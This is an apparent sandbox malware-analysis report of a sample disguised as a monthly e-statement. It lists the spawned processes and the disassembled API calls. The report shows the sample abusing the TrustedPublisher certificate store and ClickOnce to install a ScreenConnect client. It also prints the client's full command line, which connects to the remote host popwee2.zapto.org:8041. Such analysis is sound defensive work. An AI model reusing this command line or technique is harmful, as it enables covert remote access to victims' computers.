Imagebase:	0xf20000
File size:	83'376 bytes
MD5 hash:	27BD2490FD75556AAB2DF57EA7C1147F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:09:16
Start date:	08/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
Imagebase:	0x1e8b1f20000
File size:	24'856 bytes
MD5 hash:	B4088F44B80D363902E11F897A7BAC09
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000001.00000002.3157733053.000001E8B3FFF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	05:09:16
Start date:	08/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:09:18
Start date:	08/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -s W32Time
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	06:44:38
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe"
Imagebase:	0xe10000
File size:	601'376 bytes
MD5 hash:	20AB8141D958A58AADE5E78671A719BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000007.00000000.1558755338.0000000000E12000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000007.00000002.1569444555.000000000315F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:44:38
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session" "1"
Imagebase:	0xc40000
File size:	95'520 bytes
MD5 hash:	361BCC2CB78C75DD6F583AF81834E447
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:44:39
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session" "1"
Imagebase:	0xc40000
File size:	95'520 bytes
MD5 hash:	361BCC2CB78C75DD6F583AF81834E447
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	06:44:40
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe" "RunRole" "c62c9dea-32aa-435a-858b-87f989247e7c" "User"
Imagebase:	0x7e0000
File size:	601'376 bytes
MD5 hash:	20AB8141D958A58AADE5E78671A719BF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	06:44:51
Start date:	08/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:44:51
Start date:	08/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 7160 -ip 7160
Imagebase:	0xcb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:44:51
Start date:	08/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7160 -s 332
Imagebase:	0xcb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:44:52
Start date:	08/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.8%
Total number of Nodes:	1465
Total number of Limit Nodes:	4

Executed Functions

Function 00F21000 Relevance: 54.4, APIs: 27, Strings: 4, Instructions: 199
encryptionmemorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000000,00000104), ref: 00F21016
GetModuleFileNameW.KERNEL32(00000000,00000000,00000104), ref: 00F21025
CertOpenSystemStoreA.CRYPT32(00000000,TrustedPublisher), ref: 00F21032
LocalAlloc.KERNELBASE(00000000,00040000), ref: 00F21057
LocalAlloc.KERNEL32(00000000,00040000), ref: 00F21063
CryptQueryObject.CRYPT32(00000001,00000000,00000400,00000002,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00F21082
CryptMsgGetParam.CRYPT32(?,0000000B,00000000,?,?), ref: 00F210B2
LocalAlloc.KERNEL32(00000000,?), ref: 00F210C5
LocalAlloc.KERNEL32(00000000,00002000), ref: 00F210F4
CryptMsgGetParam.CRYPT32(?,0000000C,00000000,00000000,00002000), ref: 00F2110A
CertCreateCertificateContext.CRYPT32(00000001,00000000,00002000), ref: 00F2111A
CertAddCertificateContextToStore.CRYPT32(?,00000000,00000001,00000000), ref: 00F2112D
CertFreeCertificateContext.CRYPT32(00000000), ref: 00F21134
LocalFree.KERNEL32(00000000), ref: 00F2113E
LocalFree.KERNEL32(00000000), ref: 00F2115D
CryptMsgGetParam.CRYPT32(?,00000009,00000000,00000000,00040000), ref: 00F2116E
CryptMsgGetParam.CRYPT32(?,0000000A,00000000,?,00040000), ref: 00F21182
CertFindAttribute.CRYPT32(1.3.6.1.4.1.311.4.1.1,00000000,?), ref: 00F21198
CertFindAttribute.CRYPT32(1.3.6.1.4.1.311.4.1.1,?,?), ref: 00F211A9
LoadLibraryA.KERNELBASE(dfshim), ref: 00F211BA
GetProcAddress.KERNEL32(00000000,ShOpenVerbApplicationW), ref: 00F211C6
Sleep.KERNELBASE(00009C40), ref: 00F211E8
CertDeleteCertificateFromStore.CRYPT32(?), ref: 00F2120B
CertCloseStore.CRYPT32(?,00000000), ref: 00F2121A
LocalFree.KERNEL32(?), ref: 00F21223
LocalFree.KERNEL32(?), ref: 00F21228
LocalFree.KERNEL32(?), ref: 00F2122D

Strings

ShOpenVerbApplicationW, xrefs: 00F211C0
TrustedPublisher, xrefs: 00F2102B
1.3.6.1.4.1.311.4.1.1, xrefs: 00F21193, 00F211A4
dfshim, xrefs: 00F211B5

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: Local$Cert$Free$AllocCrypt$CertificateParamStore$Context$AttributeFind$AddressCloseCreateDeleteFileFromLibraryLoadModuleNameObjectOpenProcQuerySleepSystem
String ID: 1.3.6.1.4.1.311.4.1.1$ShOpenVerbApplicationW$TrustedPublisher$dfshim
API String ID: 335784236-860318880
Opcode ID: b2627190145e87afb0bc0022df141817151d1fb2773fd589aa1717b862d07f51
Instruction ID: df936b72a50e6499740f6b1751f964f37cc790ccb325ac6001eac6a8d0bcd841
Opcode Fuzzy Hash: b2627190145e87afb0bc0022df141817151d1fb2773fd589aa1717b862d07f51
Instruction Fuzzy Hash: 88613E71E40219AFEB21DB94DC45FAFBBB9FF48B50F140055FA14B7290C771A901ABA8

Non-executed Functions

Function 00F2191F Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00F2192B
IsDebuggerPresent.KERNEL32 ref: 00F219F7
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00F21A10
UnhandledExceptionFilter.KERNEL32(?), ref: 00F21A1A

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: f6147485a8c9284ab006bbb69a1dbc995bdbad2cfe4c6ccc340a5c370cc45386
Instruction ID: 6721858741b5aed92e8d9e97b03d78ccdd3b09ae766b55f5aef1339542e7a5e1
Opcode Fuzzy Hash: f6147485a8c9284ab006bbb69a1dbc995bdbad2cfe4c6ccc340a5c370cc45386
Instruction Fuzzy Hash: 8C311475D012289BDB21DFA4DD49BCDBBB8BF08300F1041AAE40DAB250EB749A85DF45

Function 00F24573 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00F2466B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00F24675
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00F24682

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 8c9e644e6f3bb3b1c6e742849f19c52c1b539a51fe1bbcd9d34dd581c48df4ed
Instruction ID: 84465f0757d6faaa46da7a8f459d92533af52ebc641b7243f933ef18dd1156cb
Opcode Fuzzy Hash: 8c9e644e6f3bb3b1c6e742849f19c52c1b539a51fe1bbcd9d34dd581c48df4ed
Instruction Fuzzy Hash: 6131C67490122C9BCB21DF64DD89B8DBBB8BF18310F5041DAE81DA7250E7749F859F45

Function 00F23677 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00F2364D,?,00F302E0,0000000C,00F237A4,?,00000002,00000000,?,00F23F66,00000003,00F2209F,00F21AFC), ref: 00F23698
TerminateProcess.KERNEL32(00000000,?,00F2364D,?,00F302E0,0000000C,00F237A4,?,00000002,00000000,?,00F23F66,00000003,00F2209F,00F21AFC), ref: 00F2369F
ExitProcess.KERNEL32 ref: 00F236B1

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: f065e3abbe6d183d1f7baa366e2432e5c8856d8b9559ffc7784fa0b756f467fb
Instruction ID: c7af0ed2c116413b9ec6a7b5a7dc0679c37da8fe85d04986eb4783c3d585eecf
Opcode Fuzzy Hash: f065e3abbe6d183d1f7baa366e2432e5c8856d8b9559ffc7784fa0b756f467fb
Instruction Fuzzy Hash: 0AE09271410558ABCF22AF54ED09E5A3F69EF40755B044014FA559A231DB39DA42EA50

Function 00F24A4B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

., xrefs: 00F24BDE

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 10c7ae9274260eef765add62be9d16583cb2b5ad08998321691c47bdca4ecc46
Instruction ID: 497be68279cff455a69fed9c37e1d7640ea6396b4d70e3226fadb4576bcc46f4
Opcode Fuzzy Hash: 10c7ae9274260eef765add62be9d16583cb2b5ad08998321691c47bdca4ecc46
Instruction Fuzzy Hash: E5310671C00219ABCB24CE78DC84EFA7BBDEB85314F004198F519D7251E6B4AD449B50

Function 00F2A495 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00F2A490,?,?,00000008,?,?,00F2A130,00000000), ref: 00F2A6C2

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: c0f0621df3b7ce3c1834ba3f74a0c3c079a7f72729fd7a96aff70d9dc78c3fc8
Instruction ID: 7dc95715e28d8c44595cce1a2246149a8c44b40855f76975675d786dd003b425
Opcode Fuzzy Hash: c0f0621df3b7ce3c1834ba3f74a0c3c079a7f72729fd7a96aff70d9dc78c3fc8
Instruction Fuzzy Hash: 99B17D32610618CFD719CF28D48AB657FE0FF05364F298698E89ACF2A1C335D992DB41

Function 00F21BD4 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00F21BEA

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 059a7528c6485be595c93f2be7d5138df731417f3879e2704232e9b45a4051a4
Instruction ID: e9b39d46e68d18fb720169699c18f5b75d28a31f1c46e5f12a41f118b456c996
Opcode Fuzzy Hash: 059a7528c6485be595c93f2be7d5138df731417f3879e2704232e9b45a4051a4
Instruction Fuzzy Hash: 6E51AEB5E50229CFEB18CF64E9817AEBBF1FB98324F14812AC401EB290D3749941DF54

Function 00F21AAC Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00001AB8,00F21300), ref: 00F21AB1

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 23fb39e1fcb7ab4da4683ec438fa95bfe96ee38fc4289c6a9bb170919a98b14b
Instruction ID: 66e9c1e9e84d7f72f5a77a6822e06eff0ae0497dd009120cdd00156609b406d5
Opcode Fuzzy Hash: 23fb39e1fcb7ab4da4683ec438fa95bfe96ee38fc4289c6a9bb170919a98b14b
Instruction Fuzzy Hash:

Function 00F26893 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00F26893

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: ec2288570b5bee8ece5257118084cb21b5692ae705bf9093bb22b2160bffbee8
Instruction ID: a7d9745ccaaea55e91815054a02092726782a1e0fc44c22661b237d97d525052
Opcode Fuzzy Hash: ec2288570b5bee8ece5257118084cb21b5692ae705bf9093bb22b2160bffbee8
Instruction Fuzzy Hash: 30A002706111099B57509F356B563093699574569171540555505C5160D76444517A11

Function 00F26507 Relevance: 19.6, APIs: 13, Instructions: 114
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___free_lconv_mon.LIBCMT ref: 00F2654B

Part of subcall function 00F26078: _free.LIBCMT ref: 00F26095
Part of subcall function 00F26078: _free.LIBCMT ref: 00F260A7
Part of subcall function 00F26078: _free.LIBCMT ref: 00F260B9
Part of subcall function 00F26078: _free.LIBCMT ref: 00F260CB
Part of subcall function 00F26078: _free.LIBCMT ref: 00F260DD
Part of subcall function 00F26078: _free.LIBCMT ref: 00F260EF
Part of subcall function 00F26078: _free.LIBCMT ref: 00F26101
Part of subcall function 00F26078: _free.LIBCMT ref: 00F26113
Part of subcall function 00F26078: _free.LIBCMT ref: 00F26125
Part of subcall function 00F26078: _free.LIBCMT ref: 00F26137
Part of subcall function 00F26078: _free.LIBCMT ref: 00F26149
Part of subcall function 00F26078: _free.LIBCMT ref: 00F2615B
Part of subcall function 00F26078: _free.LIBCMT ref: 00F2616D

_free.LIBCMT ref: 00F26540

Part of subcall function 00F24869: HeapFree.KERNEL32(00000000,00000000,?,00F2620D,?,00000000,?,00000000,?,00F26234,?,00000007,?,?,00F2669F,?), ref: 00F2487F
Part of subcall function 00F24869: GetLastError.KERNEL32(?,?,00F2620D,?,00000000,?,00000000,?,00F26234,?,00000007,?,?,00F2669F,?,?), ref: 00F24891

_free.LIBCMT ref: 00F26562
_free.LIBCMT ref: 00F26577
_free.LIBCMT ref: 00F26582
_free.LIBCMT ref: 00F265A4
_free.LIBCMT ref: 00F265B7
_free.LIBCMT ref: 00F265C5
_free.LIBCMT ref: 00F265D0
_free.LIBCMT ref: 00F26608
_free.LIBCMT ref: 00F2660F
_free.LIBCMT ref: 00F2662C
_free.LIBCMT ref: 00F26644

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 09cdd8611a9692a34558d8db5ed150207054a68cffb0f8f1215e5e33cbeaed18
Instruction ID: 19c87d9370369d3e2d5275302f1b3f8345d727f9c92e86bd949324e075e01cdd
Opcode Fuzzy Hash: 09cdd8611a9692a34558d8db5ed150207054a68cffb0f8f1215e5e33cbeaed18
Instruction Fuzzy Hash: AE316D71A003209FEB25AB7AFC46B9677E8EF40720F144429F049D7191DE78FC80AB50

Function 00F24330 Relevance: 15.1, APIs: 10, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 00F24344

Part of subcall function 00F24869: HeapFree.KERNEL32(00000000,00000000,?,00F2620D,?,00000000,?,00000000,?,00F26234,?,00000007,?,?,00F2669F,?), ref: 00F2487F
Part of subcall function 00F24869: GetLastError.KERNEL32(?,?,00F2620D,?,00000000,?,00000000,?,00F26234,?,00000007,?,?,00F2669F,?,?), ref: 00F24891

_free.LIBCMT ref: 00F24350
_free.LIBCMT ref: 00F2435B
_free.LIBCMT ref: 00F24366
_free.LIBCMT ref: 00F24371
_free.LIBCMT ref: 00F2437C
_free.LIBCMT ref: 00F24387
_free.LIBCMT ref: 00F24392
_free.LIBCMT ref: 00F2439D
_free.LIBCMT ref: 00F243AB

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fc87644b51a8e15e58e1ec25bbfe452e1a05256094174e19f5e83f6d37d16546
Instruction ID: 6c1aaf7bc5f544022396c75b73b973f0d3a73345907355d188d6f5eb40bab2f1
Opcode Fuzzy Hash: fc87644b51a8e15e58e1ec25bbfe452e1a05256094174e19f5e83f6d37d16546
Instruction Fuzzy Hash: 5E11B976610158FFCB45EF96EC42CD93B65EF44750F0140A2F9088F162DA75EE50AB80

Function 00F27AB4 Relevance: 12.2, APIs: 8, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

